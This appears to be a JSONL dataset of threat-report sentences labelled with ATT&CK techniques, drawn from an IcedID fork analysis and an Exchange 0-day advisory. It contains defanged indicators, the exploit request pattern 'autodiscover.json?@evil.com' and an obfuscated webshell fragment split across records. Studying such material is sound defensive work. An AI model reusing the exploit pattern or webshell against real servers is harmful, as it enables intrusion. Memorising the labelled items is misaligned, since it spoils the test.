{"sentence": "HTML Attachment spoofing Office 365. Figure 4: Contents of smuggled ZIP file.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Figure 5: WSF file contents.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Figure 6: Intermediate PowerShell downloader.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "This pulled the next stage – the Standard IcedID Loader.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "The IcedID loader connected to the C2 server and delivered and executed the IcedID core bot if specific conditions were met.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Standard IcedID Loader Configuration: C2:", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "ariopolanetyoa[.]com ProjectID: 3278418257 Standard IcedID Bot Configuration: C2:", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "alishaskainz[.]com C2: akermonixalif[.]com CommsCookie: 998075300 ProjectID: 35 URI: /news/", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Update URLs: [ “hxxps://yelsopotre[.]com/news/, ”hxxps://qoipaboni[.]com/news/\", hxxps://halicopnow[.]com/news/, hxxps://oilbookongestate[.]com/news/ ] Example 2: IcedID Forked Campaign Proofpoint observed a campaign with over 13,000 messages on 3 February 2023.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "This campaign began with invoice-themed email lures requesting confirmation from the recipient to manage a contract.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "The emails were personalized to the recipient by using the recipient’s name in the greeting of the email.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "The observed emails contained the subject \"How can i contact you?\" with an attachment name (regex): \"unpaid_[0-9]{4}-February-03\\.one\".", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "These messages contained Microsoft OneNote attachments (.one).", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "When opened, the OneNote document instructed the recipient to \"open\" the document by double-clicking the button displayed in the OneNote document.", "labels": ["T1204.002"], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "An HTML Application (HTA) file was concealed beneath the \"open\" text which, if clicked, executed the HTA file.", "labels": ["T1204.002"], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "The HTA file initiated a PowerShell command used to download and execute an IcedID loader.", "labels": ["T1105"], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "The IcedID loader was executed with rundll32 using a non-standard export: \"PluginInit\".", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "The PowerShell command also downloaded and opened a decoy PDF.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Figure 7: Screenshot of email sample from the 3 February IcedID campaign.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Figure 8: OneNote attachment containing the “open” button that hides the HTA file.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Figure 9: Screenshot of HTA displayed in a text editor.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Figure 10: Benign PDF that appears while malicious activity is running in the background.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "The IcedID loader connected to the C2 server and delivered and executed the IcedID core bot if specific conditions were met. IcedID Loader Configuration: C2: ehonlionetodo[.]com ProjectID: 3954321778 IcedID Bot configuration: { \"date\": \"03-06-2023\", \"family\": \"IcedID Core\", \"comms_cookie\": \"01\", \"project_id\": 3954321778, \"uri\": \"/news/\", \"c2s\": [ \"renomesolar[.]com\", \"palasedelareforma[.]com\", \"noosaerty[.]com\" ] This campaign is attributed to TA581, a threat actor that Proofpoint has been tracking since 2022, and officially designated a TA number in March 2023.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Example 3: IcedID Forked Campaign Proofpoint observed a campaign with over 200 messages conducted from 20 February to 23 February 2023.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "This campaign included two different email lures: 1) a recall notice purporting to be from the National Traffic and Motor Vehicle Safety Act; and 2) a violation purporting to be from the U.S. Food and Drug Administration (FDA).", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "The emails contained .URL", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "attachments.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "A URL file is a shortcut that points to a specific Uniform Resource Locator.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "If the recipient clicked to open the .URL file, the recipient's default web browser would access the URL contained in the file.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "If the .URL file was opened it would initiate the download of a batch (.bat) file.", "labels": ["T1059.003", "T1105"], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "The batch file would download and execute an IcedID loader with rundll32 using a non-standard export: \"PluginInit\".", "labels": ["T1059.003", "T1105", "T1218.011"], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Figure 11: Sample email using the motor vehicle safety lure.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Figure 12: Sample email using motor vehicle/seatbelt safety lure.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Figure 13: URL (.url) attachment displayed in a text editor.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Figure 14: BAT (.bat) file displayed in a text editor.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "The IcedID loader connected to the C2 server and delivered and executed the IcedID core bot if specific conditions were met. IcedID Loader Configuration: C2:", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "samoloangu[.]com project ID: 3971099397 IcedID Bot Configuration:", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "C2: sanoradesert[.]com C2: steepenmount[.]com C2:", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "guidassembler[.]com CommsCookie: 1 ProjectID: 3971099397 URI: /news/ ] Malware analysis Before comparing the Standard Loader to the Forked Loader, it is worth covering the highlights of the IcedID Lite Loader as there is code overlap and clear similarities when compared with the Forked Loader.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "For an in-depth analysis of the Lite Loader, check out Proofpoint’s previous report here.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "The Lite Loader’s purpose is to download the next stage of the malware from a hardcoded domain and URI path.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "The domain is decrypted from the configuration and the URI path is decrypted within the function that makes the HTTP request.", "labels": ["T1071.001", "T1140"], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Unlike the Standard IcedID Loader, there is no host information being exfiltrated within the request.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "When the Lite Loader was dropped on Emotet infections, that fact made sense, since this version of IcedID was specifically being deployed on already infected machines, and there was no need to check the host information.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Figure 15: Config decryption within IcedID Lite Loader.", "labels": ["T1140"], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Figure 16: Decryption of the URI within the IcedID Lite Loader.", "labels": ["T1140"], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Considering that Proofpoint has not observed a standalone campaign of the Lite Loader in the wild, the remainder of the analysis section will compare the Standard variant to the Forked variant as well as similarities to the Lite Loader.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Loader Analysis Field Standard Loader Forked Loader Internal name loader_dll_64.dll Loader.dll FileType Standard DLL COM Server Extraneous string Contains “1.bin” Project ID Project ID differs from loader to bot Project ID is the same across loader and bot Rough size ~36KB ~48KB Botpack decryption Decryption is the same across both As far as behavior is concerned, the Forked Loader functions the same as the Standard Loader.", "labels": ["T1140"], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "The goal is to send host info to the loader C2, then to gate the bot download.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "This gating mechanism is to ensure that only truly infected machines get the bot binary vs researchers or malware sandboxes.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "If the checks are passed, the C2 will return the encrypted bot and DLL loader which is where the real capabilities of the botnet emerge.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "The differences come within the binary itself by how the code is/was structured and how they obfuscate the sample.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Both variants of the loader initiate their malicious code by creating a thread for the malware main.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Before this happens though, the Forked Loader decrypts and copies strings into global variables where they will be later used to resolve required functions.", "labels": ["T1140"], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "This pattern of decrypting strings for future use will come up later in the analysis of the DLL loader.", "labels": ["T1140"], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Figure 17: String decryption of the DLL names used within the Forked Loader.", "labels": ["T1140"], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "With the DLL strings decrypted, the malware then decrypts the loader configuration by taking the first 64 bytes and XORing it against the next 64 bytes.", "labels": ["T1140"], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "The first four bytes of the decrypted buffer will contain the project identifier (ID) (a campaign identifier of sorts) and then a singular domain which is used to gate the download of the bot. Figure 18: Decryption of the config buffer in the Forked Loader.", "labels": ["T1140"], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "For whatever reason, there is an extraneous “1.bin” that is appended to a string which isn’t used.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "As far as Proofpoint researchers can tell, this string is not used and serves no purpose.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "With the config decrypted, the malware creates the cookies that contain the host information and sends an HTTP request that will contain the encrypted bot response.", "labels": ["T1071.001", "T1082", "T1140"], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Figure 19: Raw response from the loader C2 containing the encrypted bot and DLL loader.", "labels": ["T1027", "T1140"], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "The response gets decrypted with the IcedID decryption routine, then split into the encrypted bot (being “license.dat”) and the custom DLL loader which is generally some randomly generated filename ending in .tmp.", "labels": ["T1140"], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "DLL Loader Analysis Field Standard DLL Loader Forked DLL Loader Extraneous code Contains code to decrypt strings and domains related to the “lite loader” File type Standard DLL COM Server Internal name init_dll_64.dll Init.dll Rough size 20KB 36KB The start of the DLL loader is the same across both versions of the DLL loader, a thread is created that contains the malicious code for custom loading license.dat: Figure 20: Start of the Standard DLL Loader.", "labels": ["T1140"], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "When comparing the StartAddress function, we see the biggest difference across these two samples: Figure 21: Standard DLL Loader thread function.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "The following shows the thread function for the Forked DLL Loader.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "This function decrypts strings that originally just existed in the Lite Loader. Figure 22:", "labels": ["T1140"], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Forked DLL Loader thread function.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "The rest of this report section focuses on the Forked DLL Loader, as that is where these differences exist.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Just like the Forked Loader, the Forked DLL Loader decrypts the DLL strings to be used later to resolve handles to the DLLs needed.", "labels": ["T1140"], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "The strings are decrypted in the same algorithm where the data is split into DWORDs and XOR’d against a random key.", "labels": ["T1140"], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Figure 23: String decryption for the DLL names needed for execution.", "labels": ["T1140"], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Next, a function is called that decrypts strings that are not used at any point within the binary itself.", "labels": ["T1140"], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "The function starts by creating a structure that is going to be returned at the end of the function.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "This structure contains two domains and various URIs that could potentially be used to get a separate version of the bot. Figure 24: Decryption of “Lite Loader”\" domains.", "labels": ["T1140"], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "For all the Forked DLL Loader variants we have seen, there are two domains that are decrypted: “tourdeworldsport[.]com” and “handsinworld[.]com”.", "labels": ["T1140"], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Neither of these domains are used within the file, and at the time of this report have no relations on VirusTotal.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Looking into the “handsinworld” domain, passive DNS shows that the domain started resolving to its current IP of “193[.]37[.]69[.]107” on 12 Nov 2022.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "This is also around the time that Emotet dropped the IcedID Lite Loader onto the Epoch 4 and Epoch 5 botnet.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "More information on the Lite Loader and Emotet can be found in our previous report here.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "The other domain “tourdeworldsport”, also started resolving to the IP “5[.]61[.]34[.]46” on 18 Nov 2022.", "labels": ["T1140"], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "With the domain names decrypted, the DLL Loader decrypts 10 strings that should be URIs to be appended to the domains.", "labels": ["T1140"], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Figure 25: Decryption of “Lite Loader” filenames.", "labels": ["T1140"], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Within this list though, they have typos for botpackn3dat.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Most likely there should be a period before .dat.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "This is the same URI structure (/botpack.dat) that the Lite Loader used to download the bot and DLL loader from the C2 in November 2022 when it was dropped via Emotet infections.", "labels": ["T1140"], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "After the strings are decrypted, the structure referencing them is never used again.", "labels": ["T1140"], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "This is most likely code that has been copy/pasted from the lite loader.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "If implemented correctly, these strings should appear in the actual loader of IcedID and not within the DLL Loader where it currently resides.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "These commonalities between the Lite Loader and this DLL Loader make it seem as if the same group that dropped IcedID via Emotet is behind these campaigns as well.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Bot Analysis Field Standard Bot Forked Bot File format Custom PE Format Custom PE Format Rough size 368 KB 304 KB Removed code Removed web injects capability Versioning Currently at version 119 Currently at version 111 Looking at the Forked IcedID Bot variant and the Standard Bot variant in BinDiff, researchers observed that the Standard IcedID bot contains more functionality than the Forked variant.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Figure 26: Output of BinDiff showing the Standard Bot vs the Forked Bot.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Combining Hexray’s Lumina and BinDiff shows that the Standard Bot contains functionality relating to web injects, adversary in the middle (AiTM) and backconnect capabilities that do not exist within the Forked variant.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "This could be because banking fraud has become increasingly more difficult over the last couple of years.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Figure 27: Functions that have been removed within the Forked Bot.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Within the communications of the bot, there is an authentication header which contains the bot’s project ID, some other details and the version of the bot.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Authorization: Basic OTk4MDc1MzAwOjA6MTE5OjY1OjM1 998075300:0:119:65:35 Base64 decoding this value gives up the version as the third component of the list.", "labels": ["T1140"], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "For the Standard IcedID Bot, this value is set to 119 as seen above, but for the Forked variant, we get the following base64 decoded header; 998075300:0:111:67:1", "labels": ["T1140"], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "This value contains version 111, which could indicate the fork happened when the Standard Bot was using that version.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Finally, there seems to be a bug within the Forked variant of the bot where the URIs of specific requests are not constructed properly which causes 404s to occur.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Figure 28: Network requests made by the Forked Bot.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "In the example above, the request should be “/news/4/2/1” but for whatever reason the bot does not append the initial / for specific commands.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Lite Loader Anomaly", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "After analysis of the separate variants was finished, Proofpoint identified a file called “botpackn1.dat” on VirusTotal that seemed related to our Lite Loader.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Figure 29: VirusTotal page showing the botpack used in the Lite Loader.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "That filename is embedded within the custom Forked DLL Loader mentioned previously.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "This relationship was enough to prompt further analysis.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "In the article where Proofpoint described the IcedID Lite Loader being dropped via Emotet infections, researchers documented the structure of the botpack format and how to decrypt it as well.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Taking that same script and applying it to this file leads to a valid configuration where researchers can analyze the configuration.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Figure 30: Commandline output showing the decrypted botpack structure.", "labels": ["T1140"], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "This botpackn1.dat contains the later stages of the infection chain, so with some pivoting on the VirusTotal relationships, researchers land on the distribution URL (VT Link) “http[:]//lepriconloots[.]com/botpackn1.dat”.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Pivoting again to find files that reach to the URL, we come across the Lite Loader sample itself.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Looking at the build artifacts of this sample, it seems like the threat actors have removed the PDB path, but the Lite Loader still contains the build name “Loader.dll”.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Loader.dll was initially used within IcedID to refer to the Lite Loader back when it was dropped via Emotet infections in November, but that same build name is now being used within the Forked DLL Loader.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "This could mean the codebase is similar enough where the threat actors can interchange the loader and the DLL Loader, or that these actors are copy/pasting extraneous code.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Figure 31: Embedded build name of the DLL Loader.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Finally, pivoting on where this “c2.dll” (IcedID Lite loader) came from, the distribution URL “http[:]//104[.]156[.]149[.]6/webdav/c2.dll” is observed.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Similarly, this IP address hosted an IcedID campaign from TA581 that occurred on 21 February 2023.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "The TA581 campaign ended up loading the DLL “host.dll” from that same directory and led to one of the first campaigns of Proofpoint observing the Forked variant.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "At the time when this distribution URL was live the IP was hosting an open directory on /webdav/ that contained various bat files, a forked IcedID loader as well as this lite loader.", "labels": ["T1059.003"], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Conclusion IcedID is a popular malware typically used by more advanced cyber criminal threat actors, and its use across the threat landscape has remained relatively consistent until recently.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Ultimately, there seems to be considerable effort going into the future of IcedID and the malware’s codebase, including the addition of two new variants described in this report.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "While historically IcedID’s main function was a banking trojan, the removal of banking functionality aligns with the overall landscape shift away from banking malware and an increasing focus on being a loader for follow-on infections, including ransomware.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Proofpoint anticipates that while many threat actors will continue to use the Standard variant, it is likely the new variants will continue to be used to facilitate additional malware attacks.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "ET Rules ET MALWARE Win32/IcedID Request Cookie ETPRO MALWARE Win32/IcedID Stage2 Checkin ETPRO MALWARE Win32/IcedID Stage2 CnC Activity ETPRO MALWARE Win32/IcedID Stage2 CnC Activity M2 (GET) Indicators of Compromise Indicator Type Description Date Observed ehonlionetodo[.]com C2 IcedID Loader February 2023 samoloangu[.]com C2 IcedID Loader February 20-23, 2023 sanoradesert[.]com C2 IcedID Bot February 20-23, 2023 steepenmount[.]com C2 IcedID Bot February 20-23, 2023 guidassembler[.]com C2 IcedID Bot February 20-23, 2023 renomesolar[.]com C2 IcedID Bot February 3, 2023 palasedelareforma[.]com C2 IcedID Bot February 3, 2023 noosaerty[.]com C2 IcedID Bot February 3, 2023 hxxp[://]helthbrotthersg[.]com/view[.]png URL HTA Payload URL February 3, 2023 hxxp[://]104[.]156[.]149[.]6/webdav/c2[.]dll URL Staging URL for Lite Loader February 22, 2023 hxxp[://]lepriconloots[.]com/botpackn1[.]dat URL Staging URL for the IcedID bot February 22, 2023 hxxp[://]94[.]131[.]11[.]141/webdav/Labels_FDA_toCheck[.]bat URL .URL", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "File Payload URL February 20-23, 2023 hxxp[://]94[.]131[.]11[.]141/webdav/fda[.]dll URL BAT Payload URL February 20-23, 2023 Recall_2.22.url filename .URL", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Attachment February 20-23, 2023 feb20_fda_labels-violation.url filename .URL", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Attachment February 20-23, 2023 dc51b5dff617f4da2457303140ff1225afc096e128e7d89454c3fa9a6883585c SHA256 .URL", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Attachment February 20-23, 2023 7c8b3b8cf2b721568b96f58e5994b8ddb8990cd05001be08631ade7902ae6262 SHA256 Botpackn1.dat February 22, 2023 fbad60002286599ca06d0ecb3624740efbf13ee5fda545341b3e0bf4d5348cfe SHA256 IcedID Standard Loader February 3, 2023 03fdf03c8f0a0768940c793496346253b7ccfb7f92028d3281b6fc75c4f1558e SHA256 HTA February 3, 2023 9bf40256fb7f0acac020995a3e9a231d54a6b14bb421736734b5815de0d3ba53 SHA256 WSF March 10, 2023 befeb1ab986fae9a54d4761d072bf50fdbff5c6b1b89b66a6790a3f0bfc4243f SHA256 DLL March 10, 2023 hxxp[://]segurda[.]top/dll/loader_p1_dll_64_n1_x64_inf[.]dll53[.]dll URL Staging URL for Standard Loader March 10, 2023 hxxp[://]segurda[.]top/gatef[.]php URL PowerShell Payload URL March 10, 2023 consumption_8581_march-10.html Filename HTML Attachment March 10, 2023", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Circa the beginning of August 2022, while doing security monitoring & incident response services, GTSC SOC team discovered that a critical infrastructure was being attacked, specifically to their Microsoft Exchange application.", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "During the investigation, GTSC Blue Team experts determined that the attack utilized an unpublished Exchange security vulnerability, i.e., a 0-day vulnerability, thus immediately came up with a temporary containment plan.", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "At the same time, Red Team experts started researching and debugging Exchange de-compiled code to find the vulnerability and exploit code.", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "Thanks to experience finding the previous 1-day Exchange exploit, the RedTeam has a great understanding of Exchange’s code flows and processing mechanisms, therefore research time was reduced, and the vulnerability was uncovered quickly.", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "The vulnerability turns out to be so critical that it allows the attacker to do RCE on the compromised system.", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "GTSC submitted the vulnerability to the Zero Day Initiative (ZDI) right away to work with Microsoft so that a patch could be prepared as soon as possible.", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "ZDI verified and acknowledged 2 bugs, whose CVSS scores are 8.8 and 6.3, concerning the exploit as follows.", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "However up to now, GTSC has seen other customers also experiencing the similar problem.", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "After careful testing, we confirmed that those systems were being attacked using this 0-day vulnerability.", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "To help the community temporarily stop the attack before an official patch from Microsoft is available, we publish this article aiming to those organizations who are using Microsoft Exchange email system.", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "Vulnerability information The exploit process comprises of two parts as follows: - Requests with a similar format to the ProxyShell vulnerability: autodiscover/autodiscover.json?@evil.com/<Exchange-backend-endpoint>&Email=autodiscover/autodiscover.json%3f@evil.com.", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "This looks familiar, right? -", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "The use of the link above to access a component in the backend where the RCE could be implemented.", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "However at this time, we would like NOT to release technical details to implement RCE yet.", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "Post-exploit activities After successfully mastering the exploit, we recorded attacks to collect information and create a foothold in the victim's system.", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "The attack team also used various techniques to create backdoors on the affected system and perform lateral movements to other servers in the system.", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "Webshell", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "We detected webshells, mostly obfuscated, being dropped to Exchange servers.", "labels": ["T1027"], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "Using the user-agent, we detected that the attacker uses Antsword, an active Chinese-based opensource cross-platform website administration tool that supports webshell management.", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "<%@Page", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "Language=\"Jscript\"%> <%eval(System.", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "Encoding.", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "GetEncoding(936).GetString(System.", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "Convert.", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "FromBase64String('NTcyM'+'jk3O3'+'ZhciB'+'zYWZl'+''+'P'+'S'+char(837-763)+System.", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "FromBase64String('MQ=='))+char(51450/525)+''+''+char(0640-0462)+char(0x8c28/0x1cc)+char(0212100/01250)+System.Text.", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
